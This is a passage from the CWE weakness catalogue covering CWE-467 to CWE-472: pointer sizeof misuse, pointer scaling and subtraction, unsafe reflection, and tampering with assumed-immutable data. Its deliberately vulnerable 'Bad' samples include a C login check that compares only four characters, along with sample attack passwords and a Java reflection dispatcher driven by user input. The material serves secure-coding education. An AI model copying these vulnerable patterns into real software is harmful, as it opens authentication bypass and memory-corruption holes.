MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2374
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

Notes

Maintenance

This entry should have a chaining relationship with CWE-119 instead of a parent / child relationship, however the focus of this weakness does not map cleanly to any existing entries in CWE. A new parent is being considered which covers the more generic problem of incorrect return values. There is also an abstract relationship to weaknesses in which one component sends incorrect messages to another component; in this case, one routine is sending an incorrect value to another.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Illegal Pointer Value
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-467: Use of sizeof() on a Pointer Type

Weakness ID : 467
Structure : Simple
Abstraction : Variant

Description

The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.

Extended Description

The use of sizeof() on a pointer can sometimes generate useful information. An obvious case is to find out the wordsize on a platform. More often than not, the appearance of sizeof(pointer) indicates a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	131	Incorrect Calculation of Buffer Size	355

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Modify Memory Read Memory *This error can often cause one to allocate a buffer that is much smaller than what is needed, leading to resultant weaknesses such as buffer overflows.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Use expressions such as "sizeof(*pointer)" instead of "sizeof(pointer)", unless you intend to run sizeof() on a pointer type to gain some platform independence or if you are allocating a variable on the stack.

Demonstrative Examples

Example 1:

Care should be taken to ensure sizeof returns the size of the data structure itself, and not the size of the pointer to the data structure.

In this example, sizeof(foo) returns the size of the pointer.

Example Language: C *(Bad)*

```
double *foo;
...
foo = (double *)malloc(sizeof(foo));
```

In this example, sizeof(*foo) returns the size of the data structure and not the size of the pointer.

Example Language: C *(Good)*

```
double *foo;
...
foo = (double *)malloc(sizeof(*foo));
```

Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: *(Bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
  printf("Sizeof username = %d\n", sizeof(username));
  printf("Sizeof pass = %d\n", sizeof(pass));
  if (strncmp(username, inUser, sizeof(username))) {
    printf("Auth failure of username using sizeof\n");
    return(AUTH_FAIL);
  }
  /* Because of CWE-467, the sizeof returns 4 on many platforms and architectures. */
  if (! strncmp(pass, inPass, sizeof(pass))) {
    printf("Auth success of password using sizeof\n");
    return(AUTH_SUCCESS);
  }
  else {
    printf("Auth fail of password using sizeof\n");
    return(AUTH_FAIL);
  }
}
int main (int argc, char **argv)
{
  int authResult;
  if (argc < 3) {
    ExitError("Usage: Provide a username and password");
  }
  authResult = AuthenticateUser(argv[1], argv[2]);
  if (authResult != AUTH_SUCCESS) {
    ExitError("Authentication failed");
  }
  else {
    DoAuthenticatedTask(argv[1]);
  }
}
```

In AuthenticateUser(), because sizeof() is applied to a parameter with an array type, the sizeof() call might return 4 on many modern architectures. As a result, the strncmp() call only checks the first four characters of the input password, resulting in a partial comparison (CWE-187), leading to improper authentication (CWE-287).

Because of the partial comparison, any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language: *(Attack)*

```
pass5
passABCDEFGH
passWORD
```

Because only 4 characters are checked, this significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "adminXYZ" and "administrator" will succeed for the username.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	2341
MemberOf	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	2344
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	2375
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	2406
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2458
MemberOf	C	1408	Comprehensive Categorization: Incorrect Calculation	1400	2534

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Use of sizeof() on a pointer type
CERT C Secure Coding	ARR01-C		Do not apply the sizeof operator to a pointer when taking the size of an array
CERT C Secure Coding	MEM35-C	CWE More Abstract	Allocate sufficient memory for an object
Software Fault Patterns	SFP10		Incorrect Buffer Length Computation

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-442]Robert Seacord. "EXP01-A. Do not take the sizeof a pointer to determine the size of a type". < https://www.securecoding.cert.org/confluence/display/seccode/EXP01-A.+Do+not+take+the+sizeof+a+pointer+to+determine+the+size+of+a+type >.

CWE-468: Incorrect Pointer Scaling

Weakness ID : 468
Structure : Simple
Abstraction : Base

Description

In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1499

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2328

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Memory Modify Memory *Incorrect pointer scaling will often result in buffer overflow conditions. Confidentiality can be compromised if the weakness is in the context of a buffer over-read or under-read.*	

Potential Mitigations

Phase: Architecture and Design

Use a platform with high-level memory abstractions.

Phase: Implementation

Always use array indexing instead of direct pointer manipulation.

Phase: Architecture and Design

Use technologies for preventing buffer overflows.

Demonstrative Examples

Example 1:

This example attempts to calculate the position of the second byte of a pointer.

Example Language: C *(Bad)*

```
int *p = x;
char * second_char = (char *)(p + 1);
```

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	2341
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2457
MemberOf	C	1408	Comprehensive Categorization: Incorrect Calculation	1400	2534

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unintentional pointer scaling
CERT C Secure Coding	ARR39-C	Exact	Do not add or subtract a scaled integer to a pointer
CERT C Secure Coding	EXP08-C		Ensure pointer arithmetic is used correctly
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-469: Use of Pointer Subtraction to Determine Size

Weakness ID : 469
Structure : Simple
Abstraction : Base

Description

The product subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1499

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2328

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control Integrity Confidentiality Availability	Modify Memory Read Memory Execute Unauthorized Code or Commands Gain Privileges or Assume Identity *There is the potential for arbitrary code execution with privileges of the vulnerable program.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Save an index variable. This is the recommended solution. Rather than subtract pointers from one another, use an index variable of the same size as the pointers in question. Use this variable to "walk" from one pointer to the other and calculate the difference. Always validate this number.

Demonstrative Examples

Example 1:

The following example contains the method size that is used to determine the number of nodes in a linked list. The method is passed a pointer to the head of the linked list.

Example Language: C *(Bad)*

```
struct node {
   int data;
   struct node* next;
};
// Returns the number of nodes in a linked list from
// the given pointer to the head of the list.
int size(struct node* head) {
   struct node* current = head;
   struct node* tail;
   while (current != NULL) {
      tail = current;
      current = current->next;
   }
   return tail - head;
}
// other methods for manipulating the list
...
```

However, the method creates a pointer that points to the end of the list and uses pointer subtraction to determine the number of nodes in the list by subtracting the tail pointer from the head pointer. There no guarantee that the pointers exist in the same memory area, therefore using pointer subtraction in this way could return incorrect results and allow other unintended behavior. In this example a counter should be used to determine the number of nodes in the list, as shown in the following code.

Example Language: C *(Good)*

```
...
int size(struct node* head) {
   struct node* current = head;
   int count = 0;
   while (current != NULL) {
      count++;
      current = current->next;
   }
   return count;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	2344
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	2375
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	971	SFP Secondary Cluster: Faulty Pointer Use	888	2405
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2457
MemberOf	C	1408	Comprehensive Categorization: Incorrect Calculation	1400	2534

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Improper pointer subtraction
CERT C Secure Coding	ARR36-C	Exact	Do not subtract or compare two pointers that do not refer to the same array
Software Fault Patterns	SFP7		Faulty Pointer Use

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Weakness ID : 470
Structure : Simple
Abstraction : Base

Description

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

Extended Description

If the product uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the product to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the product's classpath (CWE-427) or add new entries to the product's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	🟢	610	Externally Controlled Reference to a Resource in Another Sphere	1364
ChildOf	🟢	913	Improper Control of Dynamically-Managed Code Resources	1805

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	🟢	913	Improper Control of Dynamically-Managed Code Resources	1805

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	🟥	399	Resource Management Errors	2324

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	20

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Interpreted *(Prevalence = Sometimes)*

Alternate Terms

Reflection Injection :

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Other	Execute Unauthorized Code or Commands Alter Execution Logic *The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.*	
Availability Other	DoS: Crash, Exit, or Restart Other *The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the product to exit or hang.*	
Confidentiality	Read Application Data *By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Refactor your code to avoid using reflection.

Phase: Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

Phase: Implementation

Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.

Demonstrative Examples

Example 1:

A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

Example Language: Java *(Good)*

```
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
  ao = new AddCommand();
}
else if (ctl.equals("Modify")) {
  ao = new ModifyCommand();
}
else {
  throw new UnknownActionError();
}
ao.doAction(request);
```

A programmer might refactor this code to use reflection as follows:

Example Language: Java *(Bad)*

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);
```

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control.

One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

Example Language: Java *(Bad)*

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
ao.doAction(request);
```

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple products, in larger products where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

Observed Examples

Reference	Description
CVE-2018-1000613	Cryptography API uses unsafe reflection when deserializing a private key *https://www.cve.org/CVERecord?id=CVE-2018-1000613*

Reference	Description
CVE-2004-2331	Database system allows attackers to bypass sandbox restrictions by using the Reflection API. *https://www.cve.org/CVERecord?id=CVE-2004-2331*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2369
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2416
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2505
MemberOf	C	1415	Comprehensive Categorization: Resource Control	1400	2544

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Unsafe Reflection
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not use reflection to increase accessibility of classes, methods, or fields

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
138	Reflection Injection

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-471: Modification of Assumed-Immutable Data (MAID)

Weakness ID : 471
Structure : Simple
Abstraction : Base

Description

The product does not properly protect an assumed-immutable element from being modified by an attacker.

Extended Description

This occurs when a particular input is critical enough to the functioning of the application that it should not be modifiable at all, but it is. Certain resources are often assumed to be immutable when they are not, such as hidden form fields in web applications, cookies, and reverse DNS lookups.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1454
ParentOf	V	291	Reliance on IP Address for Authentication	708
ParentOf	B	472	External Control of Assumed-Immutable Web Parameter	1123
ParentOf	V	473	PHP External Variable Modification	1127
ParentOf	V	607	Public Static Final Field References Mutable Object	1360
CanFollow	B	425	Direct Request ('Forced Browsing')	1025
CanFollow	C	602	Client-Side Enforcement of Server-Side Security	1350
CanFollow	V	621	Variable Extraction Error	1385
CanFollow	B	1282	Assumed-Immutable Data is Stored in Writable Memory	2127
CanFollow	V	1321	Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')	2204

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Common data types that are attacked are environment variables, web application parameters, and HTTP headers.*	
Integrity	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Phase: Implementation

When the data is stored or transmitted through untrusted sources that could modify the data, implement integrity checks to detect unauthorized modification, or store/transmit the data in a trusted location that is free from external influence.

Demonstrative Examples

Example 1:

In the code excerpt below, an array returned by a Java method is modified despite the fact that arrays are mutable.

Example Language: Java *(Bad)*

```
String[] colors = car.getAllPossibleColors();
colors[0] = "Red";
```

Observed Examples

Reference	Description
CVE-2002-1757	Relies on $PHP_SELF variable for authentication. *https://www.cve.org/CVERecord?id=CVE-2002-1757*

Reference	Description
CVE-2005-1905	Gain privileges by modifying assumed-immutable code addresses that are accessed by a driver. *https://www.cve.org/CVERecord?id=CVE-2005-1905*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2416
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Notes

Relationship

MAID issues can be primary to many other weaknesses, and they are a major factor in languages that provide easy access to internal program constructs, such as PHP's register_globals and similar features. However, MAID issues can also be resultant from weaknesses that modify internal state; for example, a program might validate some data and store it in memory, but a buffer overflow could overwrite that validated data, leading to a change in program logic.

Theoretical

There are many examples where the MUTABILITY property is a major factor in a vulnerability.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Modification of Assumed-Immutable Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking

CWE-472: External Control of Assumed-Immutable Web Parameter

Weakness ID : 472
Structure : Simple
Abstraction : Base

Description

The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

Extended Description

If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.

For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	1121
ChildOf	C	642	External Control of Critical State Data	1414
CanFollow	C	656	Reliance on Security Through Obscurity	1444

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2309

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Assumed-Immutable Parameter Tampering :

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Demonstrative Examples

Example 1:

In this example, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

Example Language: Java *(Bad)*

```
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));
```

Example 2:

Hidden fields should not be trusted as secure parameters.

An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:

Example Language: HTML *(Bad)*

```
<input type="hidden"
```

or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.

Observed Examples

Reference	Description
CVE-2002-0108	Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address. *https://www.cve.org/CVERecord?id=CVE-2002-0108*
CVE-2000-0253	Shopping cart allows price modification via hidden form field. *https://www.cve.org/CVERecord?id=CVE-2000-0253*
CVE-2000-0254	Shopping cart allows price modification via hidden form field. *https://www.cve.org/CVERecord?id=CVE-2000-0254*
CVE-2000-0926	Shopping cart allows price modification via hidden form field. *https://www.cve.org/CVERecord?id=CVE-2000-0926*
CVE-2000-0101	Shopping cart allows price modification via hidden form field. *https://www.cve.org/CVERecord?id=CVE-2000-0101*
CVE-2000-0102	Shopping cart allows price modification via hidden form field. *https://www.cve.org/CVERecord?id=CVE-2000-0102*
CVE-2000-0758	Allows admin access by modifying value of form field. *https://www.cve.org/CVERecord?id=CVE-2000-0758*
CVE-2002-1880	Read messages by modifying message ID parameter. *https://www.cve.org/CVERecord?id=CVE-2002-1880*
CVE-2000-1234	Send email to arbitrary users by modifying email parameter. *https://www.cve.org/CVERecord?id=CVE-2000-1234*
CVE-2005-1652	Authentication bypass by setting a parameter. *https://www.cve.org/CVERecord?id=CVE-2005-1652*
CVE-2005-1784	Product does not check authorization for configuration change admin script, leading to password theft via modified e-mail address field. *https://www.cve.org/CVERecord?id=CVE-2005-1784*
CVE-2005-2314	Logic error leads to password disclosure. *https://www.cve.org/CVERecord?id=CVE-2005-2314*
CVE-2005-1682	Modification of message number parameter allows attackers to read other people's messages. *https://www.cve.org/CVERecord?id=CVE-2005-1682*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	629	2331
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2334
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2416
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2528

Notes

Relationship

This is a primary weakness for many other weaknesses and functional consequences, including XSS, SQL injection, path disclosure, and file inclusion.

Theoretical

This is a technology-specific MAID problem.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Web Parameter Tampering
OWASP Top Ten 2007	A4	CWE More Specific	Insecure Direct Object Reference
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
146	XML Schema Poisoning
226	Session Credential Falsification through Manipulation

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

